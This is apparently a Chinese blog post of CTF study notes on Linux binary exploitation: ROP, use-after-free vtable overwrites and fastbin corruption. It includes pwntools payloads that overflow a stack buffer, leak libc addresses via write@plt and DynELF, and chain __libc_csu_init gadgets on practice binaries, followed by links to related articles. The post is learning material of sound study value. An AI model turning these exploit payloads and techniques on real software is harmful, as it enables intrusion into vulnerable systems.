linux编写rop总结

Linux pwn入门教程(3)——ROP技术 作者:Tangerine@SAINTSEC原文来自:https://bbs.ichunqiu.com/thread-42530-1-1.html0×00 背景在上一篇教程的《shellcode的变形》一节中,我们提到过内存页的RWX三种属性。显然,如果某一页内存没有可写(W)属性,我们就无法向里面写入代码,如果没有可执行(X)属性,写入到内存页中的shellcode就无法执行。关于这个特性的实验在... 阅读详情

攻击方式

这个好像是比较核心的一种利用方式,主要分两种
1覆盖虚表指针
采用了虚函数表修改的uaf利用法则。

  • 找到释放没有清零的指针。(这里释放的对象必须是有虚函数的)
  • 从新分配占用之前释放的结构。(对象释放掉后,把虚函数表中的函数修改掉)(直接修改内存显然会引发地址禁止写异常)
  • 调用引用原结构的函数触发自己构造的调用函数。(调用虚函数被替换,本来释放的对象,应为没用清空指针,导致再次利用成功)。
    (这里重新分配必须满足原结构的构建协议)

例子:https://bbs.pediy.com/thread-224651.htm
2.还有就是一个叫做fastbin单向链表的利用方式
这个fastbinz主要是用来进行任意地址读写的。
例子: https://www.cnblogs.com/Ox9A82/p/5865420.html

  • 分配两个fastbin chunk
  • 使用第一个(位于低地址)覆盖第二个(位于高地址)的fd指针。注意,第一个应该是已被分配的,不然就没法写入导致溢出。第二个应该是未被分配的,不然就不存在fd也不存在分配的问题了。
  • 在欲分配的地址,比如bss段上构造一个伪chunk结构,比如l32(0x0)+l32(41)+l32(0x0)(即前块正在使用中+本块大小为40+fd为0)
  • 进行分配即可得到任意地址分配堆块的效果。从而可以实现任意地址写任意值的效果。

3当然这里还有一种单地址位读写的攻击方式DWORDSHOOT
实现的是4字节的任意地址读写。虽然只能写入4字节的内容,利用得当也是很厉害的。

在不获取目标libc.so的情况下进行ROP攻击

采用pwntools提供的DynELF模块来进行内存搜索。首先我们需要实现一个leak(address)函数,通过这个函数可以获取到某个地址上最少1 byte的数据。拿我们上一篇中的level2程序举例。leak函数应该是这样实现的:

 #!python
def leak(address):
    payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(address) + p32(4)
    p.send(payload1)
    data = p.recv(4)
    print "%#x => %s" % (address, (data or '').encode('hex'))
return data
from pwn import *
elf=ELF('level2')
plt_write=elf.symbol['write']
got_write=elf.got['write']

这里写图片描述
随后将这个函数作为参数再调用d = DynELF(leak, elf=ELF(‘./level2’))就可以对DynELF模块进行初始化了。然后可以通过调用system_addr = d.lookup(‘system’, ‘libc’)来得到libc.so中system()在内存中的地址。
一步一步学ROP之linux_x64篇

使用工具寻找gadgets

 #!bash
$ ROPgadget --binary level4 --only "pop|ret" 
$ ROPgadget --binary libc.so.6 --only "pop|ret" | grep rdi
system_addr_str = p.recvuntil('\n')
system_addr = int(system_addr_str,16)
pop_ret_offset = 0x0000000000022a12 - libc.symbols['system']
pop_ret_addr = system_addr + pop_ret_offset

如果原程序使用了write()和read()函数,我们可以通过write()去输出write.got的地址,从而计算出libc.so在内存中的地址。
objdump -d ./level5观察一下__libc_csu_init()这个函数。一般来说,只要程序调用了libc.so,程序都会有这个函数用来对libc进行初始化操作
x86中参数都是保存在栈上,但在x64中前六个参数依次保存在RDI, RSI, RDX, RCX, R8和 R9寄存器里

  400606:   48 8b 5c 24 08          mov    0x8(%rsp),%rbx
  40060b:   48 8b 6c 24 10          mov    0x10(%rsp),%rbp
  400610:   4c 8b 64 24 18          mov    0x18(%rsp),%r12
  400615:   4c 8b 6c 24 20          mov    0x20(%rsp),%r13
  40061a:   4c 8b 74 24 28          mov    0x28(%rsp),%r14
  40061f:   4c 8b 7c 24 30          mov    0x30(%rsp),%r15
  400624:   48 83 c4 38             add    $0x38,%rsp
  400628:   c3                      retq   

让rbp和rbx的值相等,我们可以将rbp的值设置为1,因为之前已经将rbx的值设置为0了。

 4005f0:   4c 89 fa                mov    %r15,%rdx
  4005f3:   4c 89 f6                mov    %r14,%rsi
  4005f6:   44 89 ef                mov    %r13d,%edi
  4005f9:   41 ff 14 dc             callq  *(%r12,%rbx,8)
  4005fd:   48 83 c3 01             add    $0x1,%rbx
  400601:   48 39 eb                cmp    %rbp,%rbx
  400604:   75 ea                   jne    4005f0 <__libc_csu_init+0x50>
 #!bash
#rdi=  edi = r13,  rsi = r14, rdx = r15 
#write(rdi=1, rsi=write.got, rdx=4)
payload1 =  "\x00"*136
payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload1 += "\x00"*56
payload1 += p64(main) 
一步一步学ROP之linux_x86篇 ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。虽然现在大家都在用64位的操作系统,但是想要扎实的学好ROP还是得从基础的x86系统开始。 阅读详情

相关推荐

CTF Pwn入门实战:基于pwntools的栈溢出与ROP利用详解

二进制漏洞利用(Pwn)是CTF竞赛中的核心方向,其本质是通过程序的内存安全漏洞(如栈溢出、格式化字符串等)劫持控制流,执行任意代码。理解其原理需要掌握程序内存布局、函数调用约定及CPU指令执行机制。在工程实践中,自动化工具链能极大提升漏洞利用的效率和稳定性。Python的pwntools库正是这样一个集成了交互、汇编、打包、ROP链构建等功能的强大框架,它让开发者能专注于漏洞逻辑而非底层通信细节。在CTF Pwn入门场景中,典型的应用包括通过计算偏移覆盖返回地址完成栈溢出,以及在NX保护开启时,利用程序自

weixin_33695082的博客 359

linux kernel pwn学习之ROP

Linux Kernel ROP Linux kernel rop根glibc下的ROP思路是差不多的,当我们学习掌握了glibc下的ROP,再来看kernel的ROP攻击,就很容易理解了。 与用户态同样的是,内核有也类似于PIE的机制,加kaslr,在启动系统时的脚本里可以指定开启或关闭kaslr。 qemu-system-x86_64\ -m256M\ -kernel...

seaaseesa的博客 1636

CTF PWN入门:从栈溢出原理到ROP利用实战

栈缓冲区溢出是二进制安全领域的经典漏洞类型,其核心原理在于程序向栈上固定大小的缓冲区写入超长数据,覆盖了相邻的关键控制数据。在函数调用过程中,返回地址保存在栈帧中,一旦被恶意数据覆盖,就能劫持程序执行流程。为了绕过现代操作系统普遍启用的NX(数据执行保护)机制,安全研究人员发展出了ROP(面向返回编程)技术,通过组合程序中已有的以ret指令结尾的短指令序列(gadget),构造出能实现任意功能(如执行系统命令)的利用链。这种技术广泛应用于CTF竞赛中的PWN题型和现实世界的漏洞利用中,是理解二进制漏洞利用的

weixin_30338497的博客 525

linux内核rop姿势详解,[原创]rop链攻击原理与思路(x86/x64)

rop链的基础原理rop是Return Oriented Programming(面向返回的编程)的缩写;根据函数调用规则,当刚跳转到其它函数去执行时,从被调用者的视角看:栈顶是返回地址,紧接着是自己的参数(X86架构下);然后,被调用者会对栈空间进行一系列操作,保存寄存器和存储临时变量,但在即将退出时会清理自己消耗的栈空间,以使其回到自己被调用前的栈空间,保持栈平衡;最后,被调用者以ret指令结...

weixin_42397925的博客 1297

从HellScream入门栈溢出:ROP技术实战与二进制漏洞利用基础

栈溢出是二进制安全领域的经典漏洞类型,其原理在于程序未对输入数据进行边界检查,导致超出缓冲区的数据覆盖相邻内存区域,特别是函数返回地址。通过精心构造输入数据,攻击者可以劫持程序控制流,实现任意代码执行。在NX(堆栈不可执行)保护机制开启的现代系统中,ROP(面向返回编程)技术成为绕过保护的关键手段,它通过组合程序中已有的代码片段(gadget)来构建攻击链。这种技术广泛应用于CTF竞赛、渗透测试和漏洞研究中,是理解二进制漏洞利用的基础。本文以经典CTF挑战“HellScream”为案例,详细演示了如何利用栈

weixin_42524171的博客 342

栈溢出漏洞原理与利用:从内存布局到Shellcode编写实战

栈溢出是二进制安全领域的经典内存破坏漏洞,其根源在于程序运行时栈内存的管理机制。当函数调用时,会在栈上分配空间用于存储局部变量、参数和返回地址。如果向局部缓冲区(如字符数组)写入的数据超过了其分配的空间,多余数据就会溢出并覆盖相邻内存,尤其是关键的返回地址。这种内存越界写入的技术原理,使得攻击者能够劫持程序执行流,将其重定向到恶意注入的代码。在漏洞利用实践中,攻击者需要精心构造称为Shellcode的机器码,它需要满足不含空字节、地址无关等苛刻约束,并通过计算精确偏移、结合NOP雪橇或跳转指令(如JMP E

weixin_34258838的博客 341

linux内核rop姿势详解,linux kernel rop

Introduction学习 liunx 内核漏洞利用 rop 技术,练习一下内核 rop 链的构造到执行来完成普通用户权限提升。在一般的 ret2usr 攻击中,内核的控制流会被重定向到用户空间中包含权限提升代码的地址处:void __attribute__((regparm(3))) payload() {commit_creds(prepare_kernel_cred(0);}执行上面的代码...

weixin_36163672的博客 659

CTF PWN入门实战:基于Kali Linux的栈溢出漏洞利用详解

二进制漏洞利用是网络安全领域的核心技术之一,它通过分析程序的内存布局和CPU指令执行流程,揭示软件底层运行机制。栈溢出作为最经典的漏洞类型,其原理在于程序向栈内缓冲区写入数据时超出预定边界,覆盖相邻的返回地址等关键数据,从而劫持程序控制流。掌握栈溢出技术不仅能深入理解计算机系统安全机制,也是CTF竞赛和渗透测试的必备技能。在实战中,安全研究人员常借助Kali Linux集成的调试工具和Python的pwntools库,对存在漏洞的二进制程序进行动态分析与利用脚本开发。本文以CTF入门题目为例,详细演示从环境

weixin_34072637的博客 398

linux内核rop姿势详解,Linux内核ROP姿势详解(二)

前言在本教程的第1部分中,我们已经演示了如何为我们的系统(3.13.0-32内核-Ubuntu 12.04.5 LTS)找到有用的ROP gadgets用来构建一个用来提权的ROP链。我们还开发了一个易受攻击的内核驱动程序,允许任意代码执行。这部分我们将使用这个内核模块在实践中演示ROP链:提权,修复系统并干净地“退出”到用户态。以下是第1部分的ROP链的要求:执行提权的payload可以引用驻留...

weixin_39983350的博客 591

[网络安全自学篇] 五十五.Windows系统安全之构建ROP链绕过DEP及原理详解

这是作者的网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步。前文分享了基于SEH异常处理机制的栈溢出漏洞,利用一个恶意的请求头部(HEAD或GET)引起缓冲区溢出,从而改写SEH链的地址并反弹Shell。本文将讲解DEP堆栈执行保护机制,通过构造ROP链来绕过DEP保护,重点利用VirtualProtect,最终编写漏洞利用脚本并实现自动化攻击。基础性文章,希望对您有所帮助。

杨秀璋的专栏 1万+

Python-ropa是一个基于Ropper的GUI简化了制作ROP链

ropa是一个基于Ropper的GUI,简化了制作ROP链。 与命令行相比,它使用Ropper时提供了一个更干净的界面。

CTF逆向实战:64位栈溢出与ROP链构造技术详解

栈溢出是二进制安全领域的经典漏洞类型,其原理是程序向栈内缓冲区写入数据时超出预定边界,覆盖相邻内存区域,从而可能改变程序执行流程。在安全防护技术中,NX(No-Execute)保护机制通过标记内存页为不可执行,有效阻止了直接将恶意代码注入栈中执行的传统攻击方式。为绕过此防护,ROP(Return-Oriented Programming)技术应运而生,它通过串联程序中已有的、以ret指令结尾的代码片段(gadget),组合成可完成复杂功能的指令序列,实现任意代码执行。这项技术在CTF竞赛和真实漏洞利用中具有

weixin_34224941的博客 342

【保姆级教程/代码】GNSS反演大气可降水量(Precipitable Water Vapor, PWV)

GPS精密单点定位(PPP)是一种采用精密卫星星历和卫星钟差进行非差单点定位的方法,在观测过程中采用双频载波相位观测法以确保高精度定位精度。本文利用PPP技术来求解天顶对流层延迟(zenith tropospheric delay,ZTD)。ZTD由湿延迟(ZWD)和干延迟(ZHD)组成,其中占比90%的ZHD与地面测站高程、大气压和测站纬度等参数有良好的相关性,可以通过Saastamoinen模型精确求出;

weixin_43910227的博客 2926

64位Linux下Ret2Libc攻击:绕过NX保护获取Shell的实战指南

在计算机安全领域,内存保护机制是防止漏洞利用的关键防线。NX(No-eXecute)保护通过将数据区域标记为不可执行,有效阻止了攻击者直接执行注入的恶意代码。其原理是通过硬件和操作系统协作,对内存页设置执行权限位。这一机制的技术价值在于显著提升了缓冲区溢出等漏洞的利用门槛,迫使攻击者转向更复杂的技术。在应用场景上,现代操作系统和编译器普遍默认启用NX保护,尤其在CTF竞赛和二进制安全研究中,绕过NX成为必备技能。其中,Ret2Libc(Return-to-Libc)攻击通过复用已加载的合法库函数代码(如sy

weixin_33946020的博客 335

多个MOS管并联应用场景的四大要点

动态运行时,阈值电压Vgsth最低的MOS管首先打开,最后关闭。这种MOS管一般会占据更多的开关损耗,并且在开关转换过程中,承担了更高的电应力。

VBsemi的博客 3749

MOS 管驱动设计细节,波形分析

一般认为MOSFET是电压驱动的,不需要驱动电流。然而,在MOS的G S两级之间有结电容存在,这个电容会让驱动MOS变的不那么简单。 如果不考虑纹波和EMI等要求的话,MOS管开关速度越快越好,因为开关时间越短,开关损耗越小,而在开关电源中开关损耗占总损耗的很大一部分,因此MOS管驱动电路的好坏直接决定了电源的效率。 对于一个MOS管,如果把GS之间的电压从0拉到管子的开启电压所用的时间越短,那么MOS管开启的速度就会越快。与此类似,如果把MOS管的GS电压从开启电压降到0V的时间越短,那么MOS管关断的

m0_50862404的博客 1万+

老表带你学Linux kernel pwn 入门(二)

启用kaslr、canary和smep的内核栈溢出提权

weixin_43889007的博客 998

工控安全政策系列导读:国际标准IEC 62443标准系列

IEC 62443由ANSI/ISA提出,被ISO/IEC采纳,所以该标准会以不同的名字出现,包括:ANSI/ISA-99,ISA-99,ISA 62443,ISO/IEC 62443,ISO 62443,IEC 62443。其中IEC 62443-2-1已等同采纳为国标,于2016年10月发布,标准编号为GB/T 33007。 IEC 62443是在国...

weixin_34132768的博客 2622

Linux内存权限攻防:mprotect系统调用在CTF漏洞利用中的实战应用

在Linux系统安全与漏洞利用领域,内存保护机制是防御攻击的关键防线。现代操作系统通过虚拟内存管理,为每个内存页设置了读(R)、写(W)、执行(X)等权限位,以此实现如NX/DEP(数据执行保护)等安全特性,防止将数据区当作代码执行。其核心原理在于限制内存区域的访问权限,从而阻断常见的代码注入攻击。从技术价值看,理解并操控这些权限是进行高级漏洞利用、绕过安全机制的基础。在CTF竞赛和渗透测试中,攻击者常需在存在漏洞但开启了NX保护的程序中执行自定义代码。此时,Linux提供的mprotect系统调用便成为关

weixin_30564901的博客 381

从零开始学DAG:用dagitty软件快速构建因果图的5个步骤

本文为初学者提供了使用dagitty软件快速构建因果图的5个实用步骤。通过一个公共卫生研究实例,详细演示了如何从定义核心变量开始,逐步引入混杂、中介和碰撞变量,最终利用dagitty的自动分析功能识别最小充分调整集,从而科学指导研究设计与统计分析,有效提升因果推断的严谨性。

ii567的博客 800

告别手工AS91/AB01L:用BAPI_FIXEDASSET_OVRTAKE_CREATE实现SAP资产历史数据自动化迁移

本文详细解析了如何利用BAPI_FIXEDASSET_OVRTAKE_CREATE实现SAP资产历史数据的自动化迁移,替代传统手工操作如AS91/AB01L。通过核心参数解析、迁移逻辑说明及实战案例,帮助顾问团队提升资产和折旧数据迁移的效率与准确性,确保数据一致性并降低错误风险。

weixin_42524708的博客 418

我要学pwn.day11

jarvisoj_level2_x64 潜心修炼,从基础开始 一道简单的ROP 解题流程 1.查看文件 $ file level2_x64 level2_x64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=17f0f0026ee70f2e0c8c600

weixin_45963786的博客 217

STM32实现简单的智能电子相框

具体的代码案例和详细的代码实现超过5000字,无法在此篇文章中提供。但是,你可以参考STM32的官方文档和相应的图形库和多媒体库的文档,以获得更详细的实现细节和代码示例。对于硬件,我们可以选择使用STM32开发板,如STM32F4 Discovery。对于软件开发环境,我们将使用Keil MDK-ARM作为开发工具,并使用STM32CubeMX进行代码配置。在本文中,我们将使用STM32单片机实现一个简单的智能电子相框,包括显示照片、播放视频和音乐功能。接下来,我们将详细描述实现智能电子相框的步骤。

2401_85625565的博客 1006

Linux x86无空字节Shellcode编写:从汇编原理到execve实现

在计算机安全与底层系统编程领域,Shellcode作为一段精心构造的机器码,其核心价值在于能在受限环境下执行特定操作。其工作原理基于直接与CPU寄存器交互,通过系统调用接口与操作系统内核通信。在Linux x86架构中,系统调用通过int 0x80软中断触发,需遵循特定的寄存器传参约定。Shellcode的技术价值体现在漏洞利用、渗透测试等安全场景中,它要求代码紧凑、无特定坏字符(如空字节0x00),以确保能完整注入并执行。本文聚焦于无空字节Shellcode的构建,通过分析x86指令编码特性,详解如何避免

477

C语言设计模式全面解析:从理论到28个实战示例

本文系统介绍了23种经典设计模式在C语言中的实现方法。通过结构体、函数指针等技巧,C语言可以优雅地模拟面向对象特性,实现代码复用与解耦。文章分类详解了创建型、结构型、行为型三大类模式,并提供了28个完整代码示例,包括单例、策略、观察者等核心模式的精简实现。这些模式在嵌入式系统、操作系统内核等场景中广泛应用,如状态机、事件驱动等。学习C语言设计模式的关键在于理解模式意图,掌握函数指针和结构体组合等技巧,并在实际项目中灵活运用。本文为C语言开发者提供了全面的设计模式参考指南。

数字人生 364

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

21 07 14学习总结

21.07.14学习总结 Tags: learning experience 05:00-06:10: buuoj刷题 [HarekazeCTF2019]baby_rop: 白给的rop jarvisoj_level2_x64: 白给的rop, 唯一要注意的就是find -name 找flag others_shellcode: 连上去直接getshell, 不知道存在的意义是啥 pwn2_sctf_2016: 32位的常规栈题, 复习了一下32位传参, 同时还发现sh在32位好像不能直接getshell至

eeeeeight的博客 294

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

上一篇: 灰帽子黑客中的idapython
下一篇: dex格式解析
inquisiter
博客等级 码龄10年 374粉丝 228原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值